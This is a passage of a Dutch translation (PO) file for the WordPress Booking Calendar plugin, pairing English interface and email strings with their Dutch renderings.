core/timeline/v2/wpbc-class-timeline_v2.php:74 core/wpbc.php:172 #: core/wpbc_functions.php:1872 msgid "Bookings" msgstr "Boekingen" #: core/admin/api-settings.php:1695 core/admin/page-new.php:33 #: core/admin/page-new.php:34 core/admin/page-new.php:35 #: core/admin/wpbc-toolbars.php:1149 core/lang/wpbc_all_translations.php:174 #: core/wpbc.php:200 core/wpbc.php:201 core/wpbc.php:202 #: core/wpbc_functions.php:1909 msgid "Add booking" msgstr "Eigen boekingen" #: core/admin/api-settings.php:1705 core/admin/page-import-gcal.php:535 #: core/lang/wpbc_all_translations.php:175 #: core/timeline/v2/wpbc-class-timeline_v2.php:72 core/wpbc.php:230 #: core/wpbc.php:232 core/wpbc_functions.php:2021 core/wpbc_functions.php:2029 msgid "Resources" msgstr "Objecten" #: core/admin/page-email-approved.php:319 #: core/lang/wpbc_all_translations.php:205 core/wpbc-activation.php:1162 msgid "Your booking has been approved" msgstr "Uw boeking is geaccepteerd" #: core/admin/page-email-approved.php:339 #: core/lang/wpbc_all_translations.php:207 core/wpbc-activation.php:1164 msgid "Your reservation %s for: %s has been approved.%sYou can edit the booking on this page: %s Thank you, %s" msgstr "Uw boeking %svoor: %s is geaccepteerd.%sU kunt de boeking eventueel bewerken op deze pagina: %s Dank U, %s" #: core/admin/page-email-approved.php:341 #: core/lang/wpbc_all_translations.php:208 core/wpbc-activation.php:1166 msgid "Your booking %s for: %s has been approved.%sThank you, %s" msgstr "Uw boeking %s voor: %s is geaccepteerd.%sDank u, %s" #: core/admin/page-email-approved.php:584 core/admin/page-email-deleted.php:582 #: core/admin/page-email-deny.php:580 core/admin/page-email-new-admin.php:544 #: core/admin/page-email-new-admin.php:545 #: core/admin/page-email-new-admin.php:565 #: core/admin/page-email-new-visitor.php:559 #: core/admin/page-email-trash.php:587 core/lang/wpbc_all_translations.php:235 msgid "Emails Settings" msgstr "Email instellingen" #: core/admin/wpbc-dashboard.php:531 core/lang/wpbc_all_translations.php:446 #: includes/page-form-simple/page-form-simple.php:1814 #: includes/page-form-simple/page-form-simple.php:1887 #: includes/page-form-simple/page-form-simple.php:2311 msgid "Type" msgstr "Type" #: core/admin/page-email-approved.php:770 core/admin/page-email-deleted.php:768 #: core/admin/page-email-deny.php:766 core/admin/page-email-new-admin.php:750 #: core/admin/page-email-new-visitor.php:744 #: core/admin/page-email-trash.php:773 core/lang/wpbc_all_translations.php:244 msgid "Settings saved." msgstr "Instellingen opgeslagen." #: core/admin/page-email-deleted.php:320 core/admin/page-email-deny.php:320 #: core/admin/page-email-trash.php:325 core/lang/wpbc_all_translations.php:246 #: core/wpbc-activation.php:1173 msgid "Your booking has been declined" msgstr "Uw boeking is helaas afgewezen" #: core/admin/page-email-deleted.php:339 core/admin/page-email-deny.php:339 #: core/admin/page-email-trash.php:344 core/lang/wpbc_all_translations.php:247 #: core/wpbc-activation.php:1174 msgid "Your booking %s for: %s has been canceled. %sThank you, %s" msgstr "Uw boeking %s voor: %s is geannuleerd. %sBedankt, %s" #: core/admin/page-email-new-admin.php:305 #: core/admin/page-email-new-visitor.php:301 #: core/lang/wpbc_all_translations.php:255 core/wpbc-activation.php:1144 #: core/wpbc-activation.php:1151 #: includes/page-bookings/bookings__actions.php:3126 msgid "New booking" msgstr "Nieuwe boeking" #: core/admin/page-email-new-admin.php:334 #: core/lang/wpbc_all_translations.php:256 core/wpbc-activation.php:1145 msgid "You need to approve a new booking %s for: %s Person detail information:%s Currently a new booking is waiting for approval. Please visit the moderation panel%sThank you, %s" msgstr "U moet een nieuwe boeking beoordelen %s voor acceptatie: %s Persoonlijke detail informatie:%s Op dit moment wacht een nieuwe boeking op acceptatie. Bezoek het beheersscherm%sBedankt,%s" #: core/admin/page-email-new-visitor.php:321 #: core/lang/wpbc_all_translations.php:261 core/wpbc-activation.php:1153 msgid "Your reservation %s for: %s is processing now! We will send confirmation by email. %sYou can edit this booking at this page: %s Thank you, %s" msgstr "Uw boeking %s voor: %s wordt verwerkt. We zullen u later per per email informeren. %sU kunt de boeking aanpassen op deze pagina: %s Bedankt, %s" #: core/admin/page-email-new-visitor.php:323 #: core/lang/wpbc_all_translations.php:262 core/wpbc-activation.php:1155 msgid "Your reservation %s for: %s is processing now! We will send confirmation by email. %s Thank you, %s" msgstr "Uw boeking %s voor: %s wordt verwerkt. We zullen een bevestiging sturen per email. %s Bedankt, %s" #: core/lang/wpbc_all_translations.php:537 #: includes/page-form-simple/page-form-simple.php:76 msgid "Upgrade to higher versions" msgstr "Upgrade naar hogere versies" #: core/admin/page-settings.php:124 core/lang/wpbc_all_translations.php:399 msgid "Auto cancellation / approval" msgstr "Automatisch annuleren/accepteren" #: core/lang/wpbc_all_translations.php:637 #: core/timeline/v2/wpbc-class-timeline_v2.php:90 #: core/timeline/v2/wpbc-class-timeline_v2.php:99 #: core/timeline/v2/wpbc-class-timeline_v2.php:108 msgid "Tue" msgstr "din" #: core/lang/wpbc_all_translations.php:638 #: core/timeline/v2/wpbc-class-timeline_v2.php:91 #: core/timeline/v2/wpbc-class-timeline_v2.php:100 #: core/timeline/v2/wpbc-class-timeline_v2.php:109 msgid "Wed" msgstr "woe" #: core/lang/wpbc_all_translations.php:639 #: core/timeline/v2/wpbc-class-timeline_v2.php:92 #: core/timeline/v2/wpbc-class-timeline_v2.php:101 #: core/timeline/v2/wpbc-class-timeline_v2.php:110 msgid "Thu" msgstr "don" #: core/lang/wpbc_all_translations.php:640 #: core/timeline/v2/wpbc-class-timeline_v2.php:93 #: core/timeline/v2/wpbc-class-timeline_v2.php:102 #: core/timeline/v2/wpbc-class-timeline_v2.php:111 msgid "Fri" msgstr "vrij" #: core/lang/wpbc_all_translations.php:641 #: core/timeline/v2/wpbc-class-timeline_v2.php:94 #: core/timeline/v2/wpbc-class-timeline_v2.php:103 #: core/timeline/v2/wpbc-class-timeline_v2.php:112 msgid "Sat" msgstr "zat" #: core/lang/wpbc_all_translations.php:642 #: core/timeline/v2/wpbc-class-timeline_v2.php:95 #: core/timeline/v2/wpbc-class-timeline_v2.php:104 #: core/timeline/v2/wpbc-class-timeline_v2.php:113 msgid "Sun" msgstr "zon" #. Plugin Name of the plugin #: wpdev-booking.php core/admin/wpbc-dashboard.php:134 #: core/lang/wpbc_all_translations.php:433 core/lib/wpdev-booking-widget.php:14 #: core/wpbc.php:174 core/wpbc.php:202 core/wpbc.php:211 core/wpbc.php:222 #: core/wpbc.php:232 core/wpbc.php:244 core/wpbc.php:254 core/wpbc.php:266 #: core/wpbc.php:279 msgid "Booking Calendar" msgstr "Boekingssysteem" #: core/admin/wpbc-dashboard.php:559 core/lang/wpbc_all_translations.php:450 msgid "Explore Premium Features" msgstr "Dit zijn de beschikbare functies" #: core/admin/wpbc-dashboard.php:582 core/lang/wpbc_all_translations.php:451 msgid "Statistic" msgstr "Statistiek" #: core/admin/wpbc-dashboard.php:586 core/admin/wpbc-dashboard.php:809 #: core/lang/wpbc_all_translations.php:452 msgid "New (unverified) booking(s)" msgstr "Nieuwe (nog niet geverifieerde) boeking(en)" #: core/admin/wpbc-dashboard.php:599 core/admin/wpbc-dashboard.php:760 #: core/lang/wpbc_all_translations.php:455 msgid "New booking(s) made today" msgstr "Vandaag ontvangen aanvragen" #: core/admin/wpbc-dashboard.php:603 core/lang/wpbc_all_translations.php:456 msgid "Bookings for today" msgstr "Vandaag gerealiseerde boekingen" #: core/admin/wpbc-toolbars.php:1639 core/lang/wpbc_all_translations.php:504 msgid "Search" msgstr "Zoek" #: core/lang/wpbc_all_translations.php:612 #: core/lib/wpdev-booking-widget.php:118 core/wpbc.php:265 #: includes/page-availability/availability__class.php:372 #: includes/page-customize/customize__templates.php:438 #: includes/page-resource-free/page-resource-free.php:36 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:279 #: js/wpbc-gutenberg.js:653 js/wpbc-gutenberg.js:657 js/wpbc-gutenberg.js:748 #: js/wpbc-gutenberg.js:752 js/wpbc-gutenberg.js:1020 js/wpbc-gutenberg.js:1024 #: js/wpbc-gutenberg.js:1525 js/wpbc-gutenberg.js:1529 msgid "Booking resource" msgstr "Objecten" #: core/admin/wpbc-toolbars.php:304 core/admin/wpbc-toolbars.php:1175 #: core/lang/wpbc_all_translations.php:464 msgid "Send email notification to customer about this operation" msgstr "Stuur een email bericht naar de klant over deze handeling" #: core/lang/wpbc_all_translations.php:604 core/lib/wpdev-booking-class.php:508 msgid "%sWarning! Booking calendar for this booking resource are already at the page, please check more about this issue at %sthis page%s" msgstr "%sWaarschuwing ! De boekingskalender voor dit object staat al op de pagina, controleer a.u.b. meer over deze kwestie op %sdeze pagina%s" #: core/lang/wpbc_all_translations.php:608 core/lib/wpdev-booking-class.php:764 #: core/lib/wpdev-booking-widget.php:40 msgid "You need to use special shortcode [bookingedit] for booking editing." msgstr "U moet een speciale shortcode gebruiken [bookingedit] voor het bewerken van boekingen." #: core/lang/wpbc_all_translations2.php:207 js/wpbc-gutenberg.js:1377 #: js/wpbc-gutenberg.js:1463 msgid "You do not set any parameters for booking editing" msgstr "U hebt geen parameters ingesteld voor het bewerken van boekingen" #: core/lang/wpbc_all_translations.php:614 #: core/lib/wpdev-booking-widget.php:155 msgid "Example: %sMake booking here%s" msgstr "Voorbeeld: %s Boek hier%s" #: core/lang/wpbc_all_translations.php:615 #: core/lib/wpdev-booking-widget.php:159 msgid "%sImportant!!!%s Please note, if you show booking calendar (inserted into post/page) with widget at the same page, then the last will not be visible." msgstr "%sBelangrijk!%s Als er een boekingskalender (ingevoegd in een bericht of pagina) tegelijkertijd met een widget op dezelfde pagina, zal de laatste niet zichtbaar zijn." #: core/lang/wpbc_all_translations.php:616 #: core/lib/wpdev-booking-widget.php:163 msgid "%sSeveral widgets are supported at %spaid versions%s." msgstr "%s Diverse widgets worden ondersteund in de %sbetaalde versie%s." #: core/lang/wpbc_all_translations.php:650 core/wpbc-activation.php:617 msgid "%s Found %s not indexed bookings %s" msgstr "%s Gevonden %s niet geïndexeerde boekingen %s" #: core/lang/wpbc_all_translations.php:652 core/wpbc-activation.php:641 msgid "Updated booking: %s" msgstr "Bijgewerkte boeking: %s" #: core/lang/wpbc_all_translations.php:653 core/wpbc-activation.php:1178 msgid "Booking form" msgstr "Boekingsformulier" #: core/lang/wpbc_all_translations.php:662 core/wpbc-emails.php:78 msgid "Booking system" msgstr "Boekingssysteem" #: core/lang/wpbc_all_translations.php:742 core/wpbc_functions.php:2967 msgid "Warning! Some error occur, during sending registration request." msgstr "Waarschuwing! Er is een fout opgetreden tijdens het versturen van het registratieverzoek." #: core/lang/wpbc_all_translations1.php:640 msgid "Payment Settings" msgstr "Betaling instellingen" #: core/lang/wpbc_all_translations1.php:27 #: includes/page-customize/customize__templates.php:1887 #: includes/page-customize/customize__templates.php:2010 #: includes/page-customize/customize__templates.php:2097 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:779 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1217 msgid "Tu" msgstr "Di" #: core/admin/api-settings.php:113 core/admin/api-settings.php:566 #: core/lang/wpbc_all_translations.php:11 #: core/timeline/v2/wpbc-class-timeline_v2.php:80 #: includes/page-customize/customize__templates.php:2738 msgid "Monday" msgstr "maandag" #: core/admin/api-settings.php:114 core/admin/api-settings.php:569 #: core/lang/wpbc_all_translations.php:12 #: core/timeline/v2/wpbc-class-timeline_v2.php:81 #: includes/page-customize/customize__templates.php:2739 msgid "Tuesday" msgstr "dinsdag" #: core/admin/api-settings.php:1127 core/admin/wpbc-toolbars.php:560 #: core/lang/wpbc_all_translations.php:104 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:150 msgid "2 Months" msgstr "2 maanden" #: core/admin/page-email-approved.php:583 #: core/lang/wpbc_all_translations.php:234 #: core/timeline/v2/wpbc-class-timeline_v2.php:3034 #: includes/page-bookings/bookings__listing.php:240 #: includes/_toolbar_ui/toolbar_ui.php:778 msgid "Approved" msgstr "Geaccepteerd" #: core/lang/wpbc_all_translations2.php:111 #: includes/page-bookings/bookings__listing.php:121 msgid "Booking Data" msgstr "Boekingsgegevens" #: core/lang/wpbc_all_translations2.php:112 #: includes/page-bookings/bookings__listing.php:122 msgid "Booking Dates" msgstr "Boekingdatums" #: core/lang/wpbc_all_translations2.php:113 #: includes/page-bookings/bookings__listing.php:126 msgid "Show ALL dates of booking" msgstr "Laat ALLE boekingsdatums zien" #: core/lang/wpbc_all_translations2.php:114 #: includes/page-bookings/bookings__listing.php:132 msgid "Show only check in/out dates" msgstr "Toon alleen de aankomst- en vertrekdatums" #: core/lang/wpbc_all_translations2.php:115 #: includes/page-bookings/bookings__listing.php:234 #: includes/page-bookings/bookings__sql.php:1732 #: includes/page-bookings/bookings__sql.php:1940 #: includes/page-bookings/bookings__sql.php:1991 msgid "Resource not exist" msgstr "Object bestaat niet" #: core/lang/wpbc_all_translations2.php:94 #: includes/page-bookings/bookings__actions.php:3000 msgid "Do you really want to delete this booking ?" msgstr "Wilt u deze boeking echt verwijderen?" #: core/lang/wpbc_all_translations.php:646 #: core/timeline/v2/wpbc-class-timeline_v2.php:2975 #: includes/page-bookings/bookings__actions.php:3040 #: includes/_toolbar_ui/toolbar_ui.php:1708 msgid "Approve" msgstr "Accepteren" #: core/lang/wpbc_all_translations1.php:993 #: includes/page-bookings/bookings__actions.php:3086 #: includes/_toolbar_ui/toolbar_ui.php:1747 msgid "Do you really want to set booking as pending ?" msgstr "Wilt u deze boeking echt als 'in behandeling' zetten?" #: core/admin/page-ics-general.php:205 core/lang/wpbc_all_translations.php:299 msgid "All bookings" msgstr "Alle boekingen" #: core/admin/wpbc-toolbars.php:266 core/lang/wpbc_all_translations.php:462 msgid "Collapse Advanced Toolbar" msgstr "Klap geavanceerde taakbalk in" #: core/admin/wpbc-toolbars.php:294 core/admin/wpbc-toolbars.php:1165 #: core/lang/wpbc_all_translations.php:463 #: includes/_toolbar_ui/toolbar_ui.php:2248 msgid "Emails sending" msgstr "Versturen van emails" #: core/admin/wpbc-toolbars.php:330 core/lang/wpbc_all_translations.php:465 #: includes/page-bookings/bookings__listing.php:298 #: includes/page-bookings/bookings__listing.php:439 msgid "Booking ID" msgstr "Boekings ID" #: core/admin/page-email-new-admin.php:564 #: core/admin/page-email-new-visitor.php:558 #: core/lang/wpbc_all_translations.php:258 msgid "New Booking" msgstr "Nieuwe boeking" #: core/lang/wpbc_all_translations1.php:991 #: includes/_toolbar_ui/toolbar_ui.php:1709 msgid "Approve selected bookings" msgstr "Accepteer geselecteerde boeking(en)" #: core/lang/wpbc_all_translations1.php:992 #: includes/_toolbar_ui/toolbar_ui.php:1745 msgid "Set selected bookings as pending" msgstr "Markeer geselecteerde boekingen als zijnde in behandeling" #: core/lang/wpbc_all_translations1.php:996 #: includes/_toolbar_ui/toolbar_ui.php:1859 msgid "Delete selected bookings" msgstr "Verwijder de geselecteerde boekingen" #: core/lang/wpbc_all_translations2.php:2 #: includes/_toolbar_ui/toolbar_ui.php:1915 msgid "Mark as read all bookings" msgstr "Markeer alle boekingen als gelezen" #: core/lang/wpbc_all_translations2.php:4 #: includes/_toolbar_ui/toolbar_ui.php:1951 msgid "Mark as read selected bookings" msgstr "Markeer geselecteerde boeking als gelezen" #: core/lang/wpbc_all_translations2.php:6 #: includes/_toolbar_ui/toolbar_ui.php:1987 msgid "Mark as Unread selected bookings" msgstr "Markeer geselecteerde boeking als ongelezen" #: core/admin/wpbc-toolbars.php:493 core/admin/wpbc-toolbars.php:547 #: core/lang/wpbc_all_translations.php:472 msgid "Show month" msgstr "Toon de maand" #: core/admin/wpbc-toolbars.php:561 core/lang/wpbc_all_translations.php:473 msgid "Show 2 months" msgstr "Toon 2 maanden" #: core/lang/wpbc_all_translations2.php:200 js/wpbc-gutenberg.js:1302 msgid "Booking Calendar Editing" msgstr "Booking Calendar wzijgen" #: core/lang/wpbc_all_translations.php:541 core/wpbc-activation.php:1194 #: includes/page-form-simple/page-form-simple.php:340 msgid "Send" msgstr "Verzend" #: core/admin/wpbc-dashboard.php:459 core/lang/wpbc_all_translations.php:441 #: includes/_feedback/feedback.php:551 msgid "websites" msgstr "sites" #: core/admin/wpbc-dashboard.php:461 core/lang/wpbc_all_translations.php:442 #: includes/_feedback/feedback.php:553 msgid "website" msgstr "site" #: core/lang/wpbc_all_translations.php:743 core/wpbc_functions.php:2972 msgid "Please refresh this page and if the same error appear again contact support by email (with info about order number and website) for finishing the registrations" msgstr "Herlaad deze pagina en als dezelfde fout terug verschijnt, stuur dan een email naar ondersteuning (met info over bestelnummer en site) om de registraties af te handelen" #: core/admin/wpbc-dashboard.php:368 core/lang/wpbc_all_translations.php:436 msgid "Getting Started" msgstr "Aan de slag" #: core/admin/wpbc-toolbars.php:369 core/lang/wpbc_all_translations.php:468 msgid "About Booking Calendar" msgstr "Over Booking Calendar" #: core/admin/wpbc-dashboard.php:375 core/admin/wpbc-toolbars.php:366 #: core/lang/wpbc_all_translations.php:438 msgid "FAQ" msgstr "FAQ" #: core/admin/page-email-approved.php:678 core/admin/page-email-deleted.php:676 #: core/admin/page-email-deny.php:674 core/admin/page-email-new-admin.php:659 #: core/admin/page-email-new-visitor.php:652 #: core/admin/page-email-trash.php:681 core/admin/page-ics-import.php:196 #: core/admin/page-import-gcal.php:596 core/admin/wpbc-toolbars.php:359 #: core/admin/wpbc-toolbars.php:365 core/lang/wpbc_all_translations.php:239 msgid "Help" msgstr "Help" #: core/admin/api-settings.php:1090 core/admin/page-settings.php:295 #: core/admin/page-timeline.php:45 core/admin/page-timeline.php:46 #: core/admin/page-timeline.php:47 core/admin/wpbc-toolbars.php:412 #: core/lang/wpbc_all_translations.php:98 core/wpbc_functions.php:1888 msgid "Calendar Overview" msgstr "Kalender overzicht" #: core/admin/wpbc-toolbars.php:785 core/lang/wpbc_all_translations.php:491 #: js/wpbc-gutenberg.js:868 msgid "Start Date" msgstr "Startdatum" #: core/admin/wpbc-toolbars.php:397 core/lang/wpbc_all_translations.php:469 #: core/timeline/v2/wpbc-class-timeline_v2.php:2933 #: core/wpbc_functions.php:1880 includes/page-bookings/bookings__page.php:40 #: includes/page-bookings/bookings__page.php:41 #: includes/page-bookings/bookings__page.php:42 msgid "Booking Listing" msgstr "Boekingslijst" #: core/admin/api-settings.php:1234 core/admin/api-settings.php:1296 #: core/admin/wpbc-toolbars.php:766 core/lang/wpbc_all_translations.php:124 #: includes/_toolbar_ui/toolbar_ui.php:1497 msgid "Custom" msgstr "Aangepast" #: core/lang/wpbc_all_translations1.php:966 #: includes/_toolbar_ui/toolbar_ui.php:527 msgid "Today check in/out" msgstr "Aankomst/vertrek vandaag" #: core/lang/wpbc_all_translations1.php:959 #: includes/_toolbar_ui/toolbar_ui.php:437 msgid "Check-in" msgstr "Aankomst" #: core/lang/wpbc_all_translations1.php:960 #: includes/_toolbar_ui/toolbar_ui.php:453 msgid "Check-out" msgstr "Vertrek" #: core/lang/wpbc_all_translations1.php:971 #: includes/_toolbar_ui/toolbar_ui.php:600 #: includes/_toolbar_ui/toolbar_ui.php:1283 msgid "Prior" msgstr "Vorig" #: core/admin/wpbc-toolbars.php:798 core/lang/wpbc_all_translations.php:492 #: includes/page-availability/availability__toolbar_ui.php:215 #: includes/_toolbar_ui/toolbar_ui.php:481 #: includes/_toolbar_ui/toolbar_ui.php:698 #: includes/_toolbar_ui/toolbar_ui.php:1381 #: includes/_toolbar_ui/toolbar_ui.php:1538 msgid "Apply" msgstr "Toepassen" #: core/admin/wpbc-toolbars.php:643 core/admin/wpbc-toolbars.php:644 #: core/lang/wpbc_all_translations.php:480 core/wpbc_functions.php:2255 #: includes/_feedback/feedback.php:208 includes/_feedback/feedback.php:252 #: includes/_feedback/feedback.php:273 includes/_feedback/feedback.php:310 #: includes/_pagination/pagination.php:196 #: includes/_toolbar_ui/toolbar_ui.php:556 msgid "Next" msgstr "Volgende" #: core/lang/wpbc_all_translations1.php:964 #: includes/_toolbar_ui/toolbar_ui.php:522 msgid "Previous dates" msgstr "Voorgaande datums" #: core/lang/wpbc_all_translations1.php:965 #: includes/_toolbar_ui/toolbar_ui.php:523 #: includes/_toolbar_ui/toolbar_ui.php:1262 msgid "All dates" msgstr "Alle datums" #: core/lang/wpbc_all_translations1.php:963 #: includes/_toolbar_ui/toolbar_ui.php:521 #: includes/_toolbar_ui/toolbar_ui.php:1261 msgid "Today" msgstr "Vandaag" #: core/admin/api-settings.php:1129 core/admin/api-settings.php:1135 #: core/lang/wpbc_all_translations.php:106 #: includes/ui_modal__shortcodes/sh_tpl_booking_timeline.php:153 #: includes/_toolbar_ui/toolbar_ui.php:386 #: includes/_toolbar_ui/toolbar_ui.php:1247 msgid "Year" msgstr "Jaar" #: core/lang/wpbc_all_translations1.php:962 #: includes/_toolbar_ui/toolbar_ui.php:520 msgid "Current dates" msgstr "Huidige datums" #: core/lang/wpbc_all_translations1.php:956 #: includes/_toolbar_ui/toolbar_ui.php:381 #: includes/_toolbar_ui/toolbar_ui.php:1242 msgid "weeks" msgstr "weken" #: core/lang/wpbc_all_translations1.php:957 #: includes/_toolbar_ui/toolbar_ui.php:382 #: includes/_toolbar_ui/toolbar_ui.php:1243 msgid "month" msgstr "maand" #: core/lang/wpbc_all_translations1.php:958 #: includes/_toolbar_ui/toolbar_ui.php:383 #: includes/_toolbar_ui/toolbar_ui.php:384 #: includes/_toolbar_ui/toolbar_ui.php:385 #: includes/_toolbar_ui/toolbar_ui.php:1244 #: includes/_toolbar_ui/toolbar_ui.php:1245 #: includes/_toolbar_ui/toolbar_ui.php:1246 msgid "months" msgstr "maanden" #: core/lang/wpbc_all_translations1.php:847 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:657 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:672 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:878 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1030 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1281 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:1422 msgid "Code Example" msgstr "Voorbeeld code" #: core/lang/wpbc_all_translations1.php:955 #: includes/_toolbar_ui/toolbar_ui.php:380 #: includes/_toolbar_ui/toolbar_ui.php:1241 msgid "week" msgstr "week" #: core/lang/wpbc_all_translations.php:916 msgid "Description" msgstr "Beschrijving" #: core/admin/wpbc-toolbars.php:133 core/lang/wpbc_all_translations.php:459 #: includes/page-availability/availability__page.php:111 #: includes/page-form-simple/page-form-simple.php:171 #: includes/page-resource-free/page-resource-free.php:237 #: includes/_toolbar_ui/toolbar_ui.php:94 js/wpbc-gutenberg.js:672 #: js/wpbc-gutenberg.js:764 js/wpbc-gutenberg.js:960 msgid "Options" msgstr "Opties" #: core/lang/wpbc_all_translations1.php:840 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:478 msgid "Start month:" msgstr "Start maand:" #: core/lang/wpbc_all_translations1.php:841 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:536 msgid "Select start month of calendar" msgstr "Selecteer startmaand van de kalender" #: core/lang/wpbc_all_translations.php:611 #: core/lib/wpdev-booking-widget.php:109 msgid "Only availability calendar" msgstr "Alleen de beschikbaarheids kalender" #: core/admin/wpbc-dashboard.php:829 core/lang/wpbc_all_translations.php:458 msgid "for" msgstr "voor" #: core/lang/wpbc_all_translations1.php:831 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:332 msgid "Select number of month to show for calendar." msgstr "Selecteer het aantal maanden dat wordt weergegeven." #: core/lang/wpbc_all_translations.php:610 #: core/lib/wpdev-booking-widget.php:108 msgid "Booking form with calendar" msgstr "Boekingsformulier met de kalender" #: core/lang/wpbc_all_translations.php:720 core/wpbc.php:231 msgid "Booking resources" msgstr "Objecten" #: core/lang/wpbc_all_translations1.php:209 #: includes/ui_modal__shortcodes/sh_tpl_booking.php:280 msgid "Select booking resource" msgstr "Selecteer een object" #: core/lang/wpbc_all_translations.php:578 #: core/timeline/v2/wpbc-class-timeline_v2.php:3000 #: includes/page-bookings/bookings__actions.php:2216 #: includes/page-bookings/bookings__actions.php:2381 #: includes/page-bookings/bookings__actions.php:2734 #: includes/page-bookings/bookings__actions.php:3239 #: includes/page-bookings/bookings__actions.php:3347 #: includes/page-form-simple/page-form-simple.php:2882 msgid "Cancel" msgstr "Annuleren" #: core/lang/wpbc_all_translations.php:761 core/wpbc_welcome.php:347 msgid "Have a questions?" msgstr "Heb je een vraag?" #: core/lang/wpbc_all_translations.php:723 core/wpbc.php:300 core/wpbc.php:319 msgid "Need even more functionality? Check %s higher versions %s" msgstr "Meer functionaliteit nodig? Bekijk %shogere versies%s" #: core/lang/wpbc_all_translations2.php:301 msgid "Ok" msgstr "OK" #: core/lang/wpbc_all_translations1.php:943 #: includes/ui_modal__shortcodes/tiny-button-popup.php:35 msgid "Insert booking calendar" msgstr "Voeg de boekingskalender in" #: core/lang/wpbc_all_translations1.php:944 #: includes/ui_modal__shortcodes/tiny-button-popup.php:36 #: includes/ui_modal__shortcodes/tiny-button-popup.php:316 msgid "Booking calendar" msgstr "Boekingskalender" #: core/lang/wpbc_all_translations.php:759 core/wpbc_welcome.php:331 msgid "Check %sBooking Listing%s page for new bookings." msgstr "Kijk op de %sBoekingen%s pagina voor nieuwe boekingen." #: core/lang/wpbc_all_translations.php:762 core/wpbc_welcome.php:350 msgid "See %sFAQ%s." msgstr "Zie %sFAQ%s." #: core/lang/wpbc_all_translations.php:757 core/wpbc_welcome.php:317 msgid "Next Steps" msgstr "Volgende stappen" #: core/class/wpbc-class-welcome.php:891 core/class/wpbc-class-welcome.php:1377 #: core/lang/wpbc_all_translations.php:516 msgid "Purchase" msgstr "Kopen" #: core/lang/wpbc_all_translations.php:751 core/wpbc_welcome.php:267 msgid "We’ve assembled some links to get you started:" msgstr "We hebben wat links verzameld om mee te starten:" #: core/lang/wpbc_all_translations.php:752 core/wpbc_welcome.php:270 msgid "Get Started" msgstr "Start" #: core/lang/wpbc_all_translations.php:705 core/wpbc-js-vars.php:90 msgid "Please, select booking date(s) at Calendar." msgstr "Selecteer alstublieft een boekingsdatum op de kalender." #: core/class/wpbc-class-welcome.php:891 core/class/wpbc-class-welcome.php:1377 #: core/lang/wpbc_all_translations.php:517 msgid "Upgrade Now" msgstr "Nu upgraden" #: core/lang/wpbc_all_translations.php:701 core/wpbc-js-vars.php:86 msgid "This checkbox must be checked" msgstr "Dit vakje moet worden aangevinkt" #: core/lang/wpbc_all_translations.php:702 core/wpbc-js-vars.php:87 msgid "At least one option must be selected" msgstr "Tenminste één optie moet geselecteerd zijn" #: core/lang/wpbc_all_translations.php:703 core/wpbc-js-vars.php:88 msgid "Incorrect email field" msgstr "Incorrect email veld" #: core/lang/wpbc_all_translations2.php:12 #: includes/_toolbar_ui/toolbar_ui.php:2134 msgid "Export only current page of bookings to CSV format" msgstr "Exporteer alleen de huidige boekingspagina naar CSV-formaat" #: core/lang/wpbc_all_translations.php:700 core/wpbc-js-vars.php:85 msgid "This field is required" msgstr "Dit veld is vereist" #: core/admin/page-ics-export.php:44 core/admin/page-ics-general.php:318 #: core/admin/page-ics-general.php:452 core/admin/page-ics-general.php:461 #: core/admin/page-ics-import.php:42 core/admin/page-ics-import.php:59 #: core/admin/page-ics-import.php:60 core/admin/page-ics-import.php:62 #: core/admin/page-ics-import.php:188 core/admin/page-ics-import.php:471 #: core/admin/page-import-gcal.php:430 core/lang/wpbc_all_translations.php:270 #: includes/_toolbar_ui/toolbar_ui.php:2053 msgid "Import" msgstr "Importeren" #: core/admin/page-import-gcal.php:447 core/admin/page-import-gcal.php:448 #: core/admin/page-import-gcal.php:449 core/lang/wpbc_all_translations.php:390 #: includes/page-bookings/bookings__actions.php:3511 #: includes/_toolbar_ui/toolbar_ui.php:2055 msgid "Import Google Calendar Events" msgstr "Importeer Google Agenda afspraken" #: core/admin/wpbc-toolbars.php:818 core/lang/wpbc_all_translations.php:493 #: includes/page-bookings/bookings__actions.php:2217 #: includes/page-bookings/bookings__actions.php:2382 #: includes/page-bookings/bookings__actions.php:2735 #: includes/page-bookings/bookings__actions.php:3240 #: includes/page-bookings/bookings__actions.php:3348 #: includes/page-bookings/bookings__actions.php:3430 #: includes/page-bookings/bookings__actions.php:3513 #: includes/page-bookings/bookings__actions.php:3626 #: includes/page-form-simple/page-form-simple.php:2697 #: includes/page-form-simple/page-form-simple.php:2868 #: includes/print/bookings_print.php:103 #: includes/publish/wpbc-publish-shortcode.php:327 #: includes/ui_modal__shortcodes/tiny-button-popup.php:279 #: includes/_toolbar_ui/toolbar_ui.php:717 #: includes/_toolbar_ui/toolbar_ui.php:1400 #: includes/_toolbar_ui/toolbar_ui.php:1557 msgid "Close" msgstr "Sluiten" #: core/lang/wpbc_all_translations2.php:84 #: includes/page-bookings/bookings__actions.php:2032 #: includes/page-bookings/bookings__actions.php:3477 msgid "Please configure settings for import Google Calendar events" msgstr "Configureer instellingen voor het importeren van Google Agenda afspraken" #: core/admin/page-email-approved.php:510 core/admin/page-email-deleted.php:508 #: core/admin/page-email-deny.php:507 core/admin/page-email-new-admin.php:489 #: core/admin/page-email-new-visitor.php:491 #: core/admin/page-email-trash.php:513 core/lang/wpbc_all_translations.php:233 #: includes/page-bookings/bookings__actions.php:2033 #: includes/page-bookings/bookings__actions.php:3478 msgid "here" msgstr "hier" #: core/lang/wpbc_all_translations2.php:100 #: includes/page-bookings/bookings__actions.php:3505 msgid "Configure" msgstr "Configureer" #: core/admin/page-import-gcal.php:119 core/lang/wpbc_all_translations.php:349 msgid "Select time duration of import requests." msgstr "Selecteer tijdsduur van importverzoeken." #: core/admin/page-ics-export.php:140 core/class/wpbc-class-notices.php:25 #: core/lang/wpbc_all_translations.php:273 #: includes/page-bookings/bookings__actions.php:3470 msgid "Warning!" msgstr 